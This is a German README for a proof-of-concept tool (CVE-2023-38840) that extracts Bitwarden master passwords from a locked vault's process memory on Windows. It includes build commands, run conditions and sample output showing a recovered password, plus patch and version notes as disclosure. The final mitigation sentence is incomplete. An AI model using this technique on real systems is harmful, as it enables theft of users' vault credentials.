
Ein Proof-of-Concept für (CVE-2023-38840), das Klartext-Master-Passwörter aus einem gesperrten Bitwarden-Tresor extrahiert.
Update 2: Dieser Schwachstelle wurde CVE-2023-38840 zugewiesen.
Update: Ein Patch wurde im GitHub-Pull-Request (5813) veröffentlicht, der die Schwachstelle behebt. Die betroffenen Versionen sind Bitwarden Desktop 2023.7.0 und älter.
Ein Proof-of-Concept-Tool, das das Master-Passwort aus einem gesperrten Bitwarden-Tresor (muss mindestens einmal entsperrt worden sein) auf Windows-Systemen extrahiert. Es funktioniert nur für die aktuelle Sitzung, d. h. nach einem Systemneustart funktioniert es nicht mehr. Administrationsrechte sind NICHT erforderlich.
Ein Blog wurde veröffentlicht und ist verfügbar unter: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Eine kurze Demo zur Verwendung von bw-dump mit Microsoft Edge und der Bitwarden-Browsererweiterung. Das neueste Tool funktioniert nur mit dem Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
Warnung: Windows Defender wird die kompilierte Binärdatei als Schadsoftware melden!
Um eine gestrippte Binärdatei zu erstellen, geben Sie ein:
go build -ldflags="-s -w"
Um auf einem Linux-System zu erstellen, geben Sie ein:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
Erstellen Sie einfach die Binärdatei und führen Sie sie aus. Es sind keine Administratorrechte erforderlich. Stellen Sie sicher, dass der Bitwarden-Prozess läuft. Außerdem muss der Tresor mindestens einmal entsperrt worden sein. Danach wird das Master-Passwort für einen bestimmten Zeitraum im Speicher abgelegt.
Sie können auch die Option -d verwenden, um Speicherbereiche zu sichern, wenn ein Muster gefunden wird. Für jedes Ergebnis wird eine Datei mit dem Namen dump-pid-<PID>-<MEM-REGION>.hex im aktuellen Arbeitsverzeichnis erstellt.
Beispielausgabe
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
Es gibt zwei Möglichkeiten (vermutlich mehr), das Master-Passwort aus dem Speicher zu entfernen:
Bitwarden.exe, damit Windows eine Speicherbereinigung durchführen kann.